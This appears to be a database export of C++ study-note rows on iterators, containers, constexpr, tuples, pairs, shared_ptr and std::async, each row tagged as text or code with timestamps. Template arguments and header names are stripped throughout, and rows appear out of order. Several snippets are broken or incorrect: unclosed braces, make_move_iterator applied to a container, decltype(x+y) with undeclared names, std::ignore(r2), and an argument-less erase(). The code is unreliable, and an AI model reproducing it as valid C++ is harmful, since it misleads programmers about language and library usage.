mostly with algorithms in the standard\nlibrary or your own functions that have no equivalents that work in reverse\norder. text txt 2024-07-28 10:05:15.15383 -3616 856 You can always obtain the underlying `std::iterator` from a\n`std::reverse_iterator` by calling its `base()` method. However, because of\nhow `std::reverse_iterator` is implemented, the `std::iterator` returned from\n`base()` always refers to one element past the element referred to by the\n`std::reverse_iterator` on which it's called. To get to the same element, you\nmust subtract one. text txt 2024-07-28 10:05:15.78263 -3617 856 #include \n#include \n#include text txt 2024-07-28 10:05:15.803412 -3618 856 std::vector v{11, 22, 33, 22, 11};\nstd::vector::iterator iter1{ std::find(std::begin(v), std::end(v), 22) };\nstd::vector::reverse_iterator iter2{ std::find(std::rbegin(v), std::rend(v), 22) }; text txt 2024-07-28 10:05:15.825743 -3619 856 if (iter1 != std::end(v) && iter2 != std::rend(v))\n{\n auto first{ std::distance(std::begin(v), iter1);\n auto second{ std::distance(std::begin(v), --iter2.base());\n} code txt 2024-07-28 10:05:15.846934 -3620 857 The standard library provides an iterator adapter called\n`std::move_iterator`. The dereferencing operator of a `std::move_iterator`\nautomatically converts the value to an rvalue reference, which means that the\nvalue can be moved to a new destination without the overhead of copying. text txt 2024-07-28 10:05:16.525574 -3622 857 std::vector source;\nsource.push_back(m);\nsource.push_back(m); text txt 2024-07-28 10:05:16.566299 -3623 857 std::vector copies{std::begin(source), std::end(source)}; code txt 2024-07-28 10:05:16.586645 -3624 857 By using `std::make_move_iterator()` to create `std::move_iterator`, the move constructor of `MovableType` is called instead of the copy constructors: text txt 2024-07-28 10:05:16.607546 -3625 857 std::vector steals{std::make_move_iterator(source), std::make_move_iterator(source)}; code txt 2024-07-28 10:05:16.629082 -3626 857 Class template argument deduction (CTAD) with `std::move_iterator` can also be used: text txt 2024-07-28 10:05:16.649726 -3627 857 std::vector steals{std::move_iterator{std::begin(source)}, std::move_iterator{std::end(source)}}; code txt 2024-07-28 10:05:16.670068 -3628 858 Standard Library containers use value semantics on elements. Thus, when you\nwrite classes that you intend to use with the Standard Library, you need to\nmake sure they are copyable. text txt 2024-07-28 10:05:17.099422 -3629 858 If you prefer reference semantics, you can store pointers to elements instead\nof the elements themselves. To do so, store `std::reference_wrappers` in the\ncontainer. A `std::reference_wrapper` basically exists to make references\ncopyable and can be created using the std::ref() and cref() helper functions,\nall defined in `` header. text txt 2024-07-28 10:05:17.121146 -3630 859 One of the template type parameters for Standard Library containers is an\nallocator. The container uses this allocator to allocate and deallocate\nmemory for elements. text txt 2024-07-28 10:05:17.69466 -3631 859 template> class vector; code txt 2024-07-28 10:05:17.715056 -3632 859 Some containers, such as a map, additionally accept a comparator as one of\nthe template type parameters. This comparator is used to order elements. This\ndefault is to compare elements using `operator<`. text txt 2024-07-28 10:05:17.737101 -3778 920 t1 = t2;\nt = p; code txt 2024-07-28 10:05:47.310778 -3633 859 template,\n typename Allocator = std::allocator>> class map; code txt 2024-07-28 10:05:17.757583 -3634 860 - Default Constructor\n- Copy Constructor\n- Move Constructor\n- Copy Assignment Operator\n- Move Assignment Operator\n- Destructor\n- `operator==`\n- `operator<`\n- `operator>,<=,>=,!=` text txt 2024-07-28 10:05:18.174195 -3635 861 Following containers are sequential containers because they store a sequence of elements: text txt 2024-07-28 10:05:18.514622 -3636 861 - `std::vector`\n- `std::deque`\n- `std::list`\n- `std::forward_list`\n- `std::array` text txt 2024-07-28 10:05:18.535782 -3637 862 In a vector the elements are stored in contiguous memory. You can index into\na vector, as well as add new elements to the back or insert them anywhere. text txt 2024-07-28 10:05:18.993581 -3638 862 Vector is a class template with two type parameters, the element type and an\nallocator type. text txt 2024-07-28 10:05:19.014573 -3639 862 template > class vector; code txt 2024-07-28 10:05:19.035943 -3640 863 g++ -o program source.cpp -std=c++20 code txt 2024-07-28 10:05:19.605727 -3641 863 clang++ -o program source.cpp -std=c++20 code txt 2024-07-28 10:05:19.626305 -3642 864 #include text txt 2024-07-28 10:05:20.032227 -3643 864 int main()\n{\n using std::cout;\n using std::endl; text txt 2024-07-28 10:05:20.05282 -3644 864 cout << 42 << endl;\n} code txt 2024-07-28 10:05:20.073562 -3645 865 void do_something(); text txt 2024-07-28 10:05:20.503977 -3646 865 int main()\n{\n do_something();\n} text txt 2024-07-28 10:05:20.523451 -3647 865 void do_something()\n{\n} code txt 2024-07-28 10:05:20.545504 -3648 866 #include text txt 2024-07-28 10:05:21.103468 -3649 866 int global_number = 42; text txt 2024-07-28 10:05:21.123682 -3650 866 int function()\n{\n int local_number = 77;\n return local_number;\n} text txt 2024-07-28 10:05:21.143671 -3651 866 int main()\n{\n std::cout << function() << '\\\\n';\n std::cout << global_number << '\\\\n';\n return 0;\n} code txt 2024-07-28 10:05:21.16485 -3652 867 #include text txt 2024-07-28 10:05:21.529949 -3653 867 int main()\n{\n std::cout << sizeof(long double) << '\\\\n';\n} code txt 2024-07-28 10:05:21.552003 -3654 868 int number = 200000;\nlong large_number = 200000000;\nint regular_number{large_number}; // ERROR: Type long narrowed to int code txt 2024-07-28 10:05:21.814598 -3655 869 auto flag = true; // bool code txt 2024-07-28 10:05:22.029392 -3656 870 typedef unsigned long positive_t; code txt 2024-07-28 10:05:22.269304 -3657 871 - Literal constants\n- Constants defined by `const`\n- Constant expressions defined by `constexpr`\n- Immediate functions marked by `consteval`\n- Enumerations\n- Scoped Enumerations\n- Preprocessor macro `#define` text txt 2024-07-28 10:05:22.584307 -3658 872 const double pi = 22.0 / 7; code txt 2024-07-28 10:05:22.7876 -3659 873 constexpr double get_pi()\n{\nreturn 22.0 / 7;\n} code txt 2024-07-28 10:05:23.069852 -3660 874 consteval double divide(double a, double b)\n{\n return a / b;\n} text txt 2024-07-28 10:05:23.538839 -3661 874 consteval double get_pi()\n{\n return divide(22.0, 7); // OK\n} text txt 2024-07-28 10:05:23.558894 -3662 874 double dividen{22.0}, divisor{7.0};\ndivide(dividen, divisor); // ERROR: non-const arguments to consteval code txt 2024-07-28 10:05:23.579596 -3663 875 An enumeration comprises a set of constants called enumerators. text txt 2024-07-28 10:05:24.001875 -3664 875 enum class directions\n{\n north,\n east,\n south,\n west\n}; code txt 2024-07-28 10:05:24.022495 -3665 876 #include text txt 2024-07-28 10:05:24.723072 -3666 876 int main()\n{\n std::cout << "default compiler standard: " << __cplusplus << std::endl;\n} code txt 2024-07-28 10:05:24.744285 -3667 877 void f(int);\nvoid f(void*); text txt 2024-07-28 10:05:25.191527 -3668 877 int main()\n{\n f(0); // calls f(int)\n f(NULL); // calls f(int)\n f(nullptr); // calls f(void*)\n} code txt 2024-07-28 10:05:25.212795 -3669 878 int main()\n{\n auto i = 42;\n auto u = 42U;\n auto l = 42L;\n auto ul = 42UL;\n auto ll = 42LL;\n auto ull = 42ULL;\n auto d = 42.0;\n auto ld = 42.0L;\n} code txt 2024-07-28 10:05:25.775062 -3670 879 int main()\n{\n int i; // indeterminate value\n int j{}; // initialized to 0\n int* p; // indeterminate value\n int* q{}; // initialized to nullptr text txt 2024-07-28 10:05:26.430485 -3671 879 int xi(2.3); // x1 == 2\n int xd{2.3}; // error\n} code txt 2024-07-28 10:05:26.450878 -3672 880 #include text txt 2024-07-28 10:05:27.254157 -3673 880 class base\n{\npublic:\n base(int, int) { ... };\n explicit base(int a, int b, int c) { ... }\n}; text txt 2024-07-28 10:05:27.274659 -3674 880 void fp(const base&); text txt 2024-07-28 10:05:27.29463 -3675 880 int main()\n{\n base a(1, 2); // Okay\n base b{1, 2}; // Okay\n base c{1, 2, 3}; // Okay\n base d = {1, 2}; // Okay, implicit conversion of {1, 2} to base\n base e = {1, 2, 3}; // Error, due to explicit text txt 2024-07-28 10:05:27.314489 -3676 880 fp({1, 2}); // Okay, implicit conversion of {1, 2} to base\n fp({1, 2, 3}); // Error, due to explicit\n fp(base{1, 2}); // Okay, implicit conversion of {1, 2} to base\n fp(base{1, 2, 3}); // Okay, explicit conversion of {1, 2, 3} to base\n} code txt 2024-07-28 10:05:27.335701 -3677 881 int main()\n{\n for (auto item: {1, 2, 3, 4, 5})\n std::cout << item << std::endl;\n} code txt 2024-07-28 10:05:27.671315 -3680 883 X foo()\n{\n X x;\n return x;\n} text txt 2024-07-28 10:05:28.462761 -3681 883 int main()\n{\n auto x = foo();\n} code txt 2024-07-28 10:05:28.482284 -3682 884 #include text txt 2024-07-28 10:05:28.844302 -3683 884 int main()\n{\n std::cout << R"(quotes can be "freely" used with raw string literals)" << std::endl;\n} code txt 2024-07-28 10:05:28.864905 -3684 885 class pair\n{\n pair& operator =(pair&& p)\n noexcept(is_nothrow_move_assignable::value &&\n is_nothrow_move_assignable::value);\n}; code txt 2024-07-28 10:05:29.291637 -3685 886 1. Each library function that cannot throw and does not expecify any undefined behavior caused by a broken precondition, should be marked unconditionally noexcept.\n2. A library swap function, move constructor, or move assignment operator can be proven not to throw by applying the noexcept operator, it should be marked as conditionally noexcept.\n3. No library destructor should throw.\n4. Library functions designed for compatibility with C code may be marked as unconditionally noexcept. text txt 2024-07-28 10:05:29.560919 -3686 887 #include text txt 2024-07-28 10:05:30.06989 -3687 887 template\nconstexpr S cube(S const& size)\n{\n return size * size * size;\n} text txt 2024-07-28 10:05:30.090243 -3688 887 int main()\n{\n std::array(2)> numbers;\n} code txt 2024-07-28 10:05:30.111423 -3689 888 #include text txt 2024-07-28 10:05:30.736236 -3690 888 void print()\n{ } text txt 2024-07-28 10:05:30.757127 -3691 888 template\nvoid print(T const& to_print, Args const& ...args)\n{\n std::cout << to_print << std::endl;\n print(args...);\n} text txt 2024-07-28 10:05:30.779094 -3692 888 int main()\n{\n print("a", "b", "c");\n} code txt 2024-07-28 10:05:30.799954 -3693 889 #include text txt 2024-07-28 10:05:31.216522 -3695 889 int main()\n{\n vector numbers{1,2,3,4,5};\n} code txt 2024-07-28 10:05:31.258205 -3696 890 template\nT sum(T const& a, T const& b)\n{\n return a + b;\n} text txt 2024-07-28 10:05:31.707709 -3697 890 int main()\n{\n int result = sum(1, 2);\n} code txt 2024-07-28 10:05:31.72867 -3698 891 #include text txt 2024-07-28 10:05:32.095889 -3699 891 int main()\n{\n [] { std::cout << "lambda" << std::endl; }();\n} code txt 2024-07-28 10:05:32.117801 -3700 892 #include text txt 2024-07-28 10:05:32.924693 -3701 892 // lambda expanded to class\nclass lambda\n{\nprivate:\n int id;\npublic:\n void operator()()\n {\n std::cout << id++ << std::endl;\n }\n}; text txt 2024-07-28 10:05:32.946039 -3702 892 int main()\n{\n int id = 0; text txt 2024-07-28 10:05:32.967394 -3703 892 // stateful lambda\n lambda l(id);\n l();\n l();\n l(); text txt 2024-07-28 10:05:32.987954 -3704 892 auto s = [id]() mutable { std::cout << id++ << std::endl; }\n s();\n s();\n s();\n} code txt 2024-07-28 10:05:33.00849 -3705 893 #include \n#include text txt 2024-07-28 10:05:33.417956 -3706 893 int main()\n{\n std::map cells;\n decltype(cells)::value_type item{};\n} code txt 2024-07-28 10:05:33.439084 -3707 894 template\nauto add(T1 a, T2 b) -> decltype(x+y); code txt 2024-07-28 10:05:33.733235 -3708 895 enum class state {stable, unstable, unknown}; code txt 2024-07-28 10:05:34.034391 -3709 896 #include text txt 2024-07-28 10:05:34.362522 -3710 896 enum class state : char {stable, unstable, unknown};\nauto type = std::underlying_type::type; // char code txt 2024-07-28 10:05:34.383713 -3711 897 #include \n#include text txt 2024-07-28 10:05:34.823858 -3712 897 template \nvoid print(N const& s)\n{\n std::cout << s << std::endl;\n} code txt 2024-07-28 10:05:34.844195 -3713 898 class Q\n{\n typedef int SubType;\n}; text txt 2024-07-28 10:05:35.402583 -3714 898 template\nclass P\n{\n typename T::SubType* ptr;\n}; text txt 2024-07-28 10:05:35.423585 -3715 898 int main()\n{\n P x; // Okay\n} code txt 2024-07-28 10:05:35.443519 -3716 899 // directly assigning value\ntemplate\nclass exact\n{\nprivate:\n T value;\npublic:\n void assign(exact const& b) { value = b.value; }\n}; text txt 2024-07-28 10:05:36.41694 -3717 899 // using getter to assign value\ntemplate\nclass relaxed\n{\nprivate:\n T _value;\npublic:\n T value() const { return _value; } text txt 2024-07-28 10:05:36.437827 -3718 899 template\n void assign(relaxed const& r) { _value = r.value(); }\n}; text txt 2024-07-28 10:05:36.458513 -3719 899 int main()\n{\n exact ed{};\n exact ei{}; text txt 2024-07-28 10:05:36.479093 -3720 899 ed.assign(ed); // Okay\n ed.assign(ei); // Error, ei is exact but exact is required text txt 2024-07-28 10:05:36.500405 -3721 899 relaxed rd{};\n relaxed ri{}; text txt 2024-07-28 10:05:36.522722 -3722 899 rd.assign(rd); // Okay\n rd.assign(ri); // Okay, int is assignable to double\n} code txt 2024-07-28 10:05:36.544585 -3723 900 template\nclass base\n{\npublic:\n // copy constructor with implicit type conversion\n // does not suppress implicit copy constructor.\n // when T==U, implicit copy constructor is called.\n template\n base(base const& x);\n}; text txt 2024-07-28 10:05:37.094127 -3724 900 int main()\n{\n base bd;\n base bd2{bd}; // calls implicitly generated copy constructor\n base bi(bd); // calls class template constructor\n} code txt 2024-07-28 10:05:37.115153 -3725 901 template\nvoid f()\n{\n T x = T();\n} text txt 2024-07-28 10:05:37.596207 -3726 901 int main()\n{\n f();\n} code txt 2024-07-28 10:05:37.616939 -3727 902 #include text txt 2024-07-28 10:05:38.164077 -3728 902 [[noreturn]] void f() { std::exit(1); }\n[[noreturn]] void g() { std::quick_exit(1); } text txt 2024-07-28 10:05:38.184672 -3729 902 int main()\n{\n f();\n} code txt 2024-07-28 10:05:38.207428 -3730 903 namespace x\n{\n int value{};\n} text txt 2024-07-28 10:05:38.730182 -3731 903 int main()\n{\n int value = x::value;\n} code txt 2024-07-28 10:05:38.750888 -3732 904 #include text txt 2024-07-28 10:05:39.126079 -3733 904 int main()\n{\n namespace od = boost::program_options::options_description;\n} code txt 2024-07-28 10:05:39.147404 -3734 905 #include text txt 2024-07-28 10:05:39.620585 -3735 905 int main()\n{\n using std::cout;\n using std::endl; text txt 2024-07-28 10:05:39.641985 -3736 905 cout << "using declaration" << endl;\n} code txt 2024-07-28 10:05:39.662466 -3737 906 #include text txt 2024-07-28 10:05:40.098002 -3738 906 int main()\n{\n using namespace std; text txt 2024-07-28 10:05:40.118715 -3739 906 cout << "using directive" << endl;\n} code txt 2024-07-28 10:05:40.139972 -3740 907 #include // C++\n#include // C code txt 2024-07-28 10:05:40.413195 -3741 908 #include \n#include \n#include text txt 2024-07-28 10:05:41.02389 -3742 908 int main()\ntry\n{\n std::bitset<4>{"012"};\n}\ncatch (std::invalid_argument const& exp)\n{\n std::cerr << exp.what() << std::endl;\n} code txt 2024-07-28 10:05:41.046311 -3743 909 #include \n#include \n#include text txt 2024-07-28 10:05:41.797458 -3744 909 int main()\n{\n try\n {\n std::thread().detach();\n }\n catch (std::system_error const& exp)\n {\n std::cerr << exp.what() << std::endl; text txt 2024-07-28 10:05:41.81789 -3745 909 if (exp.code() == std::errc::invalid_argument)\n std::cerr << "std::errc::invalid_argument\\\\n";\n }\n} code txt 2024-07-28 10:05:41.838914 -3746 910 A `struct` with two public member variables: text txt 2024-07-28 10:05:42.336408 -3747 910 namespace std {\n template\n struct pair {\n T1 first;\n T2 second;\n // ...\n };\n} code txt 2024-07-28 10:05:42.356988 -3748 911 #include text txt 2024-07-28 10:05:42.697639 -3749 911 std::pair p;\nstd::pair p(value, value);\nstd::pair p(rvalue, rvalue); code txt 2024-07-28 10:05:42.71916 -3750 912 #include \n#include text txt 2024-07-28 10:05:43.212252 -3751 912 std::pair p(p2);\np = p2; text txt 2024-07-28 10:05:43.232243 -3752 912 void f(std::pair);\nvoid g(std::pair); text txt 2024-07-28 10:05:43.253332 -3753 912 std::pair p3(42, "sample");\nf(p3); // calls implicitly generated copy constructor\ng(p3); // calls template constructor code txt 2024-07-28 10:05:43.273451 -3754 913 #include text txt 2024-07-28 10:05:43.553162 -3755 913 std::pair p(rvp);\np = rvp; code txt 2024-07-28 10:05:43.574111 -3756 914 #include \n#include text txt 2024-07-28 10:05:44.134174 -3757 914 auto vp = std::make_pair(value, value); // value semantics\nauto rvp = std::make_pair(std::move(value), std::move(value)); // move semantics\nauto rfp = std::make_pair(std::ref(value), std::ref(value)); // reference semantics, creates std::pair text txt 2024-07-28 10:05:44.154867 -3850 942 delete person; text txt 2024-07-28 10:05:57.854952 -3971 982 and then use text txt 2024-07-28 10:06:18.179067 -3758 914 int main()\n{\n int i = 0;\n auto p = std::make_pair(std::ref(i), std::ref(i));\n ++p.first;\n ++p.second;\n std::cout << "i: " << i << std::endl; // 2\n} code txt 2024-07-28 10:05:44.175599 -3759 915 #include text txt 2024-07-28 10:05:44.555819 -3760 915 p.first\np.second text txt 2024-07-28 10:05:44.57582 -3761 915 std::get<0>(p);\nstd::get<1>(p); code txt 2024-07-28 10:05:44.596321 -3762 916 * equality\n* inequality\n* lower than\n* greater than text txt 2024-07-28 10:05:45.119062 -3763 916 #include text txt 2024-07-28 10:05:45.139027 -3764 916 p1 == p2\np1 != p2\np1 < p2\np1 > p2\np1 <= p2\np1 >= p2 text txt 2024-07-28 10:05:45.15998 -3765 916 p1 <=> p2 // c++20 code txt 2024-07-28 10:05:45.182104 -3766 917 p1.swap(p2);\nstd::swap(p1, p2); code txt 2024-07-28 10:05:45.416424 -3767 918 Map container family: text txt 2024-07-28 10:05:45.726148 -3768 918 * `std::map`\n* `std::multimap`\n* `std::unordered_map`\n* `std::unordered_multimap` text txt 2024-07-28 10:05:45.746146 -3769 919 Both arguments have to be a `std::tuple` to force this behavior.\nThis form of initialization is required to `emplace()` a new element into an (unordered) `std::map` or `std::multimap`. text txt 2024-07-28 10:05:46.623268 -3770 919 #include \n#include \n#include text txt 2024-07-28 10:05:46.644034 -3771 919 class base\n{\npublic:\n base(std::tuple)\n {\n std::cout << "base::base(tuple)" << std::endl;\n } text txt 2024-07-28 10:05:46.664512 -3772 919 template\n base(Args... args)\n {\n std::cout << "base::base(args...)" << std::endl;\n }\n}; text txt 2024-07-28 10:05:46.684928 -3773 919 int main()\n{\n std::tuple t(1, 2.22); text txt 2024-07-28 10:05:46.705642 -3774 919 std::pair p1(42, t); // base(std::tuple) text txt 2024-07-28 10:05:46.726087 -3775 919 std::pair p2(std::piecewise_construct, std::make_tuple(42), t); // base(Args...)\n} code txt 2024-07-28 10:05:46.747577 -3776 920 #include text txt 2024-07-28 10:05:47.268289 -3777 920 std::tuple t;\nstd::tuple tp(p);\nstd::tuple t1(vt); // copy constructor\nstd::tuple t2(rvt); // move constructor\nstd::tuple t3(v1, v2, v3,...);\nstd::tuple t4(rv1, rv2, rv3,...); text txt 2024-07-28 10:05:47.289331 -3779 921 #include text txt 2024-07-28 10:05:47.667131 -3780 921 auto t1 = std::make_tuple(v1, v2, v3); // value semantics\nauto t2 = std::make_tuple(std::move(v1), std::move(v2), std::move(v3)); // move semantics\nauto t3 = std::make_tuple(std::ref(v1), std::ref(v2), std::ref(v3)); // reference semantics\nauto t4 = std::make_tuple(std::cref(v1), std::cref(v2), std::cref(v3)); code txt 2024-07-28 10:05:47.688397 -3781 922 #include text txt 2024-07-28 10:05:48.120442 -3782 922 int main()\n{\n std::tuple t(value1, value2, value3); text txt 2024-07-28 10:05:48.140498 -3783 922 T1 v1 = std::get<0>(t);\n T2 v2 = std::get<1>(t);\n T3 v3 = std::get<2>(t);\n} code txt 2024-07-28 10:05:48.161514 -3784 923 #include text txt 2024-07-28 10:05:48.71457 -3785 923 std::tuple t1(value1, value2);\nstd::tuple t2(value1, value2); text txt 2024-07-28 10:05:48.735982 -3786 923 t1 == t2;\nt1 != t2;\nt1 > t2;\nt1 >= t2;\nt1 < t2;\nt1 <= t2; text txt 2024-07-28 10:05:48.757138 -3787 923 t1 <=> t2; // c++20 code txt 2024-07-28 10:05:48.778191 -3788 924 #include text txt 2024-07-28 10:05:49.086922 -3789 924 t1.swap(t2);\nstd::swap(t1, t2); code txt 2024-07-28 10:05:49.108222 -3790 925 #include text txt 2024-07-28 10:05:49.421066 -3791 925 std::tie(r1, std::ignore(r2), r3,...) = t; code txt 2024-07-28 10:05:49.441485 -3792 926 Explicit construction exists to avoid having single values implicitly converted into a tuple with one element. But this has consequences when using initializer lists, because they cannot be used with assignment syntax as it's considered to be an implicit conversion. text txt 2024-07-28 10:05:50.157792 -3793 926 You can’t pass an initializer list where a tuple is expected. But pairs and containers can be initialized that way. text txt 2024-07-28 10:05:50.178854 -3794 926 But for tuples, you have to explicitly convert the initial values into a tuple (for example, by using `make_tuple()`): text txt 2024-07-28 10:05:50.199491 -3795 926 template\nvoid t(const std::tuple t); text txt 2024-07-28 10:05:50.221985 -3796 926 t(42); // ERROR: explicit conversion to tuple<> required\nt(make_tuple(42)); // OK text txt 2024-07-28 10:05:50.244262 -3797 926 std::tuple t1(42,3.14); // OK, old syntax\nstd::tuple t2{42,3.14}; // OK, new syntax\nstd::tuple t3 = {42,3.14}; // ERROR text txt 2024-07-28 10:05:50.266071 -3798 926 std::vector> v { {1,1.0}, {2,2.0} }; // ERROR text txt 2024-07-28 10:05:50.286349 -3799 926 std::tuple foo() { return { 1, 2, 3 }; } // ERROR text txt 2024-07-28 10:05:50.307472 -3800 926 std::vector> v1 { {1,1.0}, {2,2.0} }; // OK\nstd::vector> v2 { {1,1.0}, {2,2.0} }; // OK text txt 2024-07-28 10:05:50.327625 -3801 926 std::vector foo2() { return { 1, 2, 3 }; } // OK code txt 2024-07-28 10:05:50.348255 -3802 927 #include text txt 2024-07-28 10:05:50.707072 -3803 927 int main()\n{\n using P = std::tuple;\n std::size_t values = std::tuple_size

::value; // 3\n} code txt 2024-07-28 10:05:50.728033 -3804 928 #include text txt 2024-07-28 10:05:51.154976 -3805 928 int main()\n{\n using P = std::tuple;\n using X = std::tuple_element<0, P>::type; // T1\n using Y = std::tuple_element<1, P>::type; // T2\n using Z = std::tuple_element<2, P>::type; // T3\n} code txt 2024-07-28 10:05:51.175314 -3806 929 #include \n#include \n#include text txt 2024-07-28 10:05:51.662466 -3807 929 int main()\n{\n int n = 42;\n std::tuple t = std::tuple_cat(std::make_tuple(42, 4.2), std::tie(n));\n static_assert(std::is_same_v>);\n} code txt 2024-07-28 10:05:51.682919 -3808 930 You can initialize a two-element tuple with a pair.\nAlso, you can assign a pair to a two-element tuple. text txt 2024-07-28 10:05:51.983895 -3809 930 std::tuple t(p);\nstd::pair p(std::make_tuple(42, 9.72)); code txt 2024-07-28 10:05:52.004181 -3810 931 Shared Ownership\nExclusive Ownership text txt 2024-07-28 10:05:52.22251 -3811 932 `std::shared_ptr`\n`std::weak_ptr` text txt 2024-07-28 10:05:52.415609 -3812 933 `std::unique_ptr` text txt 2024-07-28 10:05:52.583051 -3813 934 `std::bad_weak_ptr` text txt 2024-07-28 10:05:52.75473 -3814 935 `std::enable_shared_from_this` text txt 2024-07-28 10:05:52.954809 -3815 936 * assignment\n* copy\n* move\n* comparison\n* reference counting text txt 2024-07-28 10:05:53.989017 -3816 936 #include \n#include \n#include text txt 2024-07-28 10:05:54.010286 -3817 936 int main()\n{\n // construction\n std::shared_ptr rosa{new std::string("rosa")};\n std::shared_ptr lucy{new std::string("lucy")}; text txt 2024-07-28 10:05:54.03275 -3818 936 // dereferrence\n (*rosa)[0] = ’N’;\n lucy->replace(0, 1, "J"); text txt 2024-07-28 10:05:54.053235 -3819 936 // copy\n std::vector> people;\n people.push_back(lucy);\n people.push_back(lucy);\n people.push_back(rosa);\n people.push_back(lucy);\n people.push_back(rosa); text txt 2024-07-28 10:05:54.075218 -3820 936 for (auto ptr : people)\n std::cout << *ptr << " ";\n std::cout << std::endl; text txt 2024-07-28 10:05:54.095097 -3821 936 *rosa = "Rose"; text txt 2024-07-28 10:05:54.116234 -3822 936 for (auto ptr : people)\n std::cout << *ptr << " ";\n std::cout << std::endl; text txt 2024-07-28 10:05:54.136624 -3823 936 // counting instances\n std::cout << "use_count: " << people[0].use_count() << std::endl;\n} code txt 2024-07-28 10:05:54.157636 -3824 937 Because the constructor taking a pointer as single argument is explicit, you can’t use the assignment notation because that is considered to be an implicit conversion.\nHowever, the new initialization syntax is also possible: text txt 2024-07-28 10:05:54.514793 -3825 937 #include \n#include text txt 2024-07-28 10:05:54.534907 -3826 937 std::shared_ptr rosa = new std::string("rosa"); // ERROR\nstd::shared_ptr lucy{new std::string("lucy")}; // OK code txt 2024-07-28 10:05:54.555223 -3827 938 This way of creation is faster and safer because it uses one instead of two allocations: one for the object and one for the shared data the shared pionter uses to control the object. text txt 2024-07-28 10:05:54.92603 -3828 938 #include \n#include text txt 2024-07-28 10:05:54.946684 -3829 938 std::shared_ptr rosa = std::make_shared("rosa"); code txt 2024-07-28 10:05:54.967573 -3830 939 #include \n#include text txt 2024-07-28 10:05:55.340301 -3831 939 std::shared_ptr person; text txt 2024-07-28 10:05:55.362319 -3832 939 person = new std::string("rosa"); // ERROR: no assignment for ordinary pointers\nperson.reset(new std::string("rosa")); // OK code txt 2024-07-28 10:05:55.382453 -3833 940 #include \n#include \n#include text txt 2024-07-28 10:05:55.968679 -3834 940 int main()\n{\n std::shared_ptr rosa(new std::string("rosa")); text txt 2024-07-28 10:05:55.989937 -3835 940 std::vector> people;\n people.push_back(rosa);\n people.push_back(rosa);\n people.push_back(rosa);\n people.push_back(rosa); text txt 2024-07-28 10:05:56.011653 -3836 940 std::size_t count = rosa.use_count(); // 4\n} code txt 2024-07-28 10:05:56.032705 -3837 941 When the last owner of object gets destroyed, the shared pointer calls `delete` for the object it refers to. text txt 2024-07-28 10:05:56.857227 -3838 941 Possible deletion scenarios are: text txt 2024-07-28 10:05:56.877595 -3839 941 * deletions happens at the end of a scope\n* by assigning `nullptr` to pointer\n* resizing the container that holds shared pointers text txt 2024-07-28 10:05:56.900002 -3840 941 #include \n#include \n#include text txt 2024-07-28 10:05:56.921108 -3841 941 int main()\n{\n std::shared_ptr rosa(new std::string("rosa"));\n std::shared_ptr lucy(new std::string("lucy")); text txt 2024-07-28 10:05:56.941721 -3842 941 std::vector> people;\n people.push_back(lucy);\n people.push_back(lucy);\n people.push_back(rosa);\n people.push_back(lucy);\n people.push_back(rosa);\n people.push_back(rosa);\n people.push_back(lucy);\n people.push_back(rosa); text txt 2024-07-28 10:05:56.962903 -3843 941 std::size_t rosa_count = rosa.use_count(); // 4\n std::size_t lucy_count = lucy.use_count(); // 4\n} code txt 2024-07-28 10:05:56.984409 -3844 942 #include \n#include \n#include text txt 2024-07-28 10:05:57.732151 -3845 942 std::shared_ptr person(\n new std::string{},\n [](std::string* p) { std::cout << *p << std::endl; delete p; }\n);\nperson = nullptr; // person does not refer to the string any longer text txt 2024-07-28 10:05:57.752908 -3846 942 std::vector people;\npeople.push_back(person);\npeople.push_back(person);\npeople.push_back(person); text txt 2024-07-28 10:05:57.773125 -3847 942 std::size_t person_count = person.use_count(); // 4 text txt 2024-07-28 10:05:57.792768 -3848 942 people.erase(); // all copies of the string in person are destroyed text txt 2024-07-28 10:05:57.813425 -3849 942 std::size_t person_count = person.use_count(); // 1 text txt 2024-07-28 10:05:57.833682 -3851 942 std::size_t person_count = person.use_count(); // 0 code txt 2024-07-28 10:05:57.875715 -3852 943 #include \n#include \n#include text txt 2024-07-28 10:05:58.794946 -3853 943 struct task\n{\n int value; text txt 2024-07-28 10:05:58.816416 -3854 943 task(int initial): value{initial} { }\n task& operator+(task const& t) { value += t.value; return *this; }\n operator int() const { return value; }\n}; text txt 2024-07-28 10:05:58.837674 -3855 943 task sum(task a, task b)\n{\n return a + b;\n} text txt 2024-07-28 10:05:58.857896 -3856 943 int main()\n{\n std::future result = std::async(sum, 1, 2);\n int value = result.get();\n // 3\n} code txt 2024-07-28 10:05:58.878015 -3857 944 The function ideally starts without blocking the execution of the calling\nthread. The returned *future* object is necessary for two reasons: text txt 2024-07-28 10:05:59.254015 -3858 944 1. It allows access to the future outcome of the functionality passed to\n `async()`.\n2. It is necessary to ensure that sooner or later, the passed functionality\n gets called. text txt 2024-07-28 10:05:59.273567 -3859 945 With the call of `get()`, one of three things might happen: text txt 2024-07-28 10:05:59.652428 -3860 945 1. If function was started with `async()` in a separate thread and has\n already finished, you immediately get its result.\n2. If function was started but not finished yet, `get()` blocks and waits for\n its end and yields the result.\n3. If function was not started yet, it will be forced to start now and, like\n a synchronous function call, `get()` will block until it yields the\n result. text txt 2024-07-28 10:05:59.67428 -3861 946 If just a background task was started that returns nothing it has to be\n`std::future`. text txt 2024-07-28 10:05:59.954658 -3862 947 Call to `get()` from a future might not result in concurrency because the\n`std::async()` call uses the default policy `std::launch::async` and\n`std::launch::deferred` to be both set, which might only use\n`std::launch::deferred`, in which case the function might not be invoked\nuntil the `get()` call; in that case, there is no concurrency. text txt 2024-07-28 10:06:01.044095 -3863 947 #include \n#include \n#include \n#include text txt 2024-07-28 10:06:01.066074 -3864 947 class some_task\n{\nprivate:\n mutable std::mutex exclusive; text txt 2024-07-28 10:06:01.086546 -3865 947 public:\n void task1() const { std::lock_guard lock(exclusive); std::cout << "task1\\\\n"; }\n void task2() const { std::lock_guard lock(exclusive); std::cout << "task2\\\\n"; }\n void task3() const { std::lock_guard lock(exclusive); std::cout << "task3\\\\n"; }\n}; text txt 2024-07-28 10:06:01.107339 -3866 947 int main()\n{\n some_task task{}; text txt 2024-07-28 10:06:01.127547 -3867 947 // may run concurrently or defer execution\n std::future t1 = std::async(&some_task::task1, &task); text txt 2024-07-28 10:06:01.147654 -3876 949 code txt 2024-07-28 10:06:01.962758 -3987 984 code txt 2024-07-28 10:06:19.304374 -3868 947 // runs when wait() or get() is called\n std::future t2 = std::async(std::launch::deferred, &some_task::task2, &task); text txt 2024-07-28 10:06:01.168204 -3869 947 // runs concurrently\n std::future t3 = std::async(std::launch::async, &some_task::task3, &task); text txt 2024-07-28 10:06:01.19002 -3870 947 // executes t2\n t2.wait(); text txt 2024-07-28 